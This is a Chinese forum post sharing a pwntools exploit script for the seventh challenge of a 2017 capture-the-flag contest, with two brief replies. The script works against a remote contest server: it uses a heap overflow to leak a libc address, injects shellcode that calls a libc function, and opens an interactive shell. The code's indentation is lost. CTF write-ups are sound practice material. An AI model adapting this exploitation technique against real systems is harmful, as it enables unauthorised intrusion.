首页
论坛
课程
招聘
[原创]CTF2017 第七题
2017-11-7 11:12 4937

[原创]CTF2017 第七题

2017-11-7 11:12
4937
 

先贴exploit脚本,思路后边补上

from pwn import *
import time
import re

libcbase = 0;

context.log_level = 'debug'
#t = process('./pwn')
t = remote('123.206.22.95',8888)


def CreateItemChunk():#chunk size 0x50
brk = 1;
while(brk):
t.sendline("4")
while(1):
string = t.recvline()
if(string.find("pick up") != -1):
t.sendline("y")
brk = 0;
break

if(string.find("nothing found") != -1):
break


time.sleep(1)
#elif(string.find("nothing found") != -1 ):


def DelItemChunk(n):
t.sendline("2")
t.recvuntil("Your Choice:")
t.sendline(str(n))
t.recvuntil("2.return")
t.sendline('1')
t.recvuntil("2.return")
t.sendline('1')


def GetRandAddr():#chunk size 0x50
while(1):
#print "fuck"
string = t.recvline()
print string
if(string.find("No.2 error * ") != -1):
ls = re.split(" |\n",string)
#echo string
print ls[3]
return int(ls[3])
if(string.find("Your Choice:") != -1):
return 0


t.recvuntil("==============================")
t.sendline('2')
t.recvuntil("username")
t.sendline("xiaohang1")
t.recvuntil("password")
t.sendline(p64(0x605048))
t.recvuntil("character's name")
t.sendline("chickendinner")
t.recvuntil("==============================")
t.sendline('1')
t.recvuntil("username:")
t.sendline("xiaohang1")
t.recvuntil("password:")
t.sendline(p64(0x605048))
t.recvuntil("0.exit")
t.sendline("5")
t.recvuntil("name:")
t.sendline("ShowMeTheMoney")
t.recvuntil("content:")
t.sendline("a"*0x10)
t.recvuntil("0.exit")



t.sendline("3") #select base
t.sendline("1")
t.recvuntil("0.exit")


CreateItemChunk()

t.recvuntil("0.exit")
t.sendline("5")
t.recvuntil("content:")
t.sendline("a"*0x20 + p64(1) + p64(0x40) + p64(1) + p64(0x28) + p64(1) + p64(0x0605078))
t.recvuntil("0.exit")
t.sendline("2") # show rand() address
#string = t.recvuntil("Your Choice:")
#index = string.find("No.2 error * ")
randAddr = GetRandAddr()
if(randAddr == 0):
print "can't get rand() address"
t.interactive()
print ("rand address : %x\n"%randAddr)

t.sendline("9")
t.recvuntil("0.exit")


t.sendline("5")
t.recvuntil("content:")
t.sendline("a"*0x20 + p64(1) + p64(0x40) + p64(1) + p64(0x28) + p64(1) + p64(0x0605080))
t.recvuntil("0.exit")

DelItemChunk(1)
t.recvuntil("0.exit")


i = 59
while (i) :
CreateItemChunk()
time.sleep(1)
DelItemChunk(2)
i -= 1

'''
asmstr = asm(shellcraft.amd64.mov('rbx', randAddr),arch = 'amd64', os = 'linux')
asmstr += asm(shellcraft.amd64.mov('rax', 0x694c204320554e47),arch = 'amd64', os = 'linux')
asmstr += asm("cmp rax,[rbx]",arch = 'amd64', os = 'linux')
asmstr += "\x74\x05"
asmstr += asm("inc rbx",arch = 'amd64', os = 'linux')
asmstr += "\x75\xf6"
asmstr += asm("mov rdi,rbx",arch = 'amd64', os = 'linux')
asmstr += asm("call [0x0605018]",arch = 'amd64', os = 'linux') # put
asmstr += asm("mov rsi,rbx",arch = 'amd64', os = 'linux')
asmstr += asm("mov rdi , 0x0403618",arch = 'amd64', os = 'linux')
asmstr += asm("mov rax , 0",arch = 'amd64', os = 'linux')
asmstr += asm("call [0x0605038]",arch = 'amd64', os = 'linux') # print

asmstr += asm("add rsp, 0x98",arch = 'amd64', os = 'linux')
asmstr += asm("pop rbp",arch = 'amd64', os = 'linux')
asmstr += asm("ret",arch = 'amd64', os = 'linux')


t.sendline("5")
t.recvuntil("content:")
t.sendline("a"*0x70 + asmstr)
t.recvuntil("0.exit")
'''
#shellcraft.amd64.mov('rbx', 0x694c204320554e47).rstrip()
#t.interactive()

asmstr = asm(shellcraft.amd64.mov('rbx', randAddr),arch = 'amd64', os = 'linux')
asmstr += asm("mov rdi , rbx",arch = 'amd64', os = 'linux')
asmstr += asm("add rdi , 0x151DB7",arch = 'amd64', os = 'linux')
asmstr += asm("add rbx , 0xA430",arch = 'amd64', os = 'linux')
asmstr += asm("call rbx",arch = 'amd64', os = 'linux')
t.sendline("5")
t.recvuntil("content:")
t.sendline("a"*0x70 + asmstr)
t.recvuntil("0.exit")
t.interactive()

安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
锅里的肥肉啊 活跃值 2018-4-20 22:08
2
0
支持
雪    币: 2937
活跃值: 活跃值 (14)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
fqbqrr 活跃值 2019-1-26 22:06
3
0
排版不好看啊.
游客
登录 | 注册 方可回帖
返回